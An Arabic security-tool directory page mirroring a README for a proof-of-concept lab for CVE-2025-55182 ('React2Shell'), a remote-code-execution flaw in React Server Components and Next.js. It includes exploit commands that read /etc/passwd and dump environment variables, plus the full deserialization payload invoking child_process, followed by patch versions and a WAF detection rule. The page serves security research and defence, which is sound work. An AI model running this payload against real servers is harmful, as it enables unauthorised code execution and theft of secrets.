Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182 | Kitploit
أدوات/GitHubGitHub/greenheadhq/cve-2025-55182
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubgreenheadhq/cve-2025-55182

CVE-2025-55182

عرض المستودع
11منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

بيئة PoC الخاصة بـ CVE-2025-55182 (React2Shell)

تحذير: يجب استخدام هذا المشروع لأغراض البحث الأمني والتعليم فقط. استخدامه على أنظمة الآخرين دون إذن يعد غير قانوني.

نظرة عامة على الثغرة

العنصرالتفاصيل
CVE IDCVE-2025-55182
الاسم المستعارReact2Shell
تقييم CVSS10.0 (Critical - أقصى شدة)
نوع الثغرةتنفيذ التعليمات البرمجية عن بُعد دون مصادقة (Unauthenticated RCE)
المكتشفLachlan Davidson
تاريخ الإفصاح3 ديسمبر 2025

الإصدارات المتأثرة

حزمة React

  • react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0

Next.js

  • 15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

هيكل المشروع

root@kitploit:~
CVE-2025-55182/
├── README.md                    # 이 파일
├── vulnerable-server/           # 취약한 Next.js 서버
│   ├── package.json
│   ├── next.config.js
│   ├── tsconfig.json
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx
│       └── actions.ts           # Server Action
├── exploit/                     # 공격 PoC
│   ├── package.json
│   ├── poc.js                   # RCE 공격 스크립트
│   └── check-vulnerability.js   # 취약점 체크 스크립트
└── React2Shell-CVE-2025-55182-original-poc/  # 원본 PoC 참조

البدء السريع

1. إعداد وتشغيل الخادم الضعيف

root@kitploit:~
# 의존성 설치
cd vulnerable-server
npm install

# 개발 모드로 서버 실행 (포트 3000)
npm run dev

سيعمل الخادم على http://localhost:3000.

2. تشغيل PoC للهجوم

في محطة طرفية جديدة:

root@kitploit:~
# 의존성 설치
cd exploit
npm install

# 취약점 체크
npm run check

# PoC 실행 (테스트 모드)
npm run exploit

استخدام PoC في الهجوم

الاختبار الأساسي (console.log)

root@kitploit:~
node poc.js -m test

تشغيل الحاسبة (الإثبات الشائع لـ RCE)

root@kitploit:~
# macOS
node poc.js -m calc

# Linux
node poc.js -m calc -c linux

# Windows
node poc.js -m calc -c windows

تنفيذ أوامر النظام (RCE)

root@kitploit:~
# id 명령 실행
node poc.js -t http://localhost:3000 -m rce -c "id"

# 파일 읽기
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"

# 시스템 정보
node poc.js -t http://localhost:3000 -m rce -c "uname -a"

سرقة متغيرات البيئة

root@kitploit:~
node poc.js -t http://localhost:3000 -m env

تنفيذ كود مخصص

root@kitploit:~
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"

التحليل التقني

السبب الجذري للثغرة

تنشأ الثغرة عند إلغاء تسلسل البيانات المرسلة من العميل في بروتوكول Flight الخاص بمكونات React Server.

root@kitploit:~
requireModule 함수가 클라이언트가 전송한 속성명을 검증 없이 신뢰
→ moduleExports[metadata[NAME]] 실행 시 hasOwnProperty 검사 없음
→ 프로토타입 체인 조작 가능 (Server-Side Prototype Pollution)
→ Function 생성자 획득 → RCE

سلسلة الهجوم

  1. تشغيل إلغاء التسلسل عبر $@x - الحصول على مرجع كائن Chunk
  2. استغلال سلسلة الوعود (Promise) - حقن كائن thenable يملك طريقة .then
  3. إعادة دخول المحلّل بكائن Chunk مزيف - تعيين status: resolved_model
  4. بناء سلسلة الأدوات (gadgets) - استغلال _response, _formData وغيرها
  5. الحصول على مُنشئ Function - $1:constructor:constructor
  6. تنفيذ كود عشوائي - استدعاء new Function(الكود الخبيث)

بنية الحمولة (Payload)

root@kitploit:~
{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("id")//',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks'
    }
}

طرق التصحيح

ترقية Next.js

root@kitploit:~
# 15.0.x 사용자
npm install [email protected]

# 15.1.x 사용자
npm install [email protected]

# 15.2.x 사용자
npm install [email protected]

ترقية حزم React

root@kitploit:~
npm install [email protected]
npm install [email protected]
npm install [email protected]

طرق الكشف

خصائص طلبات HTTP

  • طلب POST
  • وجود ترويسة Next-Action
  • بتنسيق multipart/form-data
  • أنماط مثل $@, resolved_model, constructor في نص الطلب

مثال على قواعد WAF

root@kitploit:~
# 의심스러운 Flight 페이로드 탐지
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:1001,phase:2,deny,status:403,\
    chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "t:lowercase"

المراجع

  • مدونة React الرسمية
  • PoC الأصلي (Lachlan Davidson)
  • تحليل Datadog Security Labs
  • تحليل Wiz

الترخيص

يُقدَّم هذا المشروع لأغراض تعليمية وبحثية فقط. يُحظر استخدامه لأغراض ضارة.


ملاحظة: إذا اكتشفت هذه الثغرة في بيئة فعلية فقم بتصحيحها فورًا. إذا تم تأكيد حدوث هجوم، فأبلغ فريق الأمن ونفّذ تحقيقًا في الاختراق.

تنزيل الأداة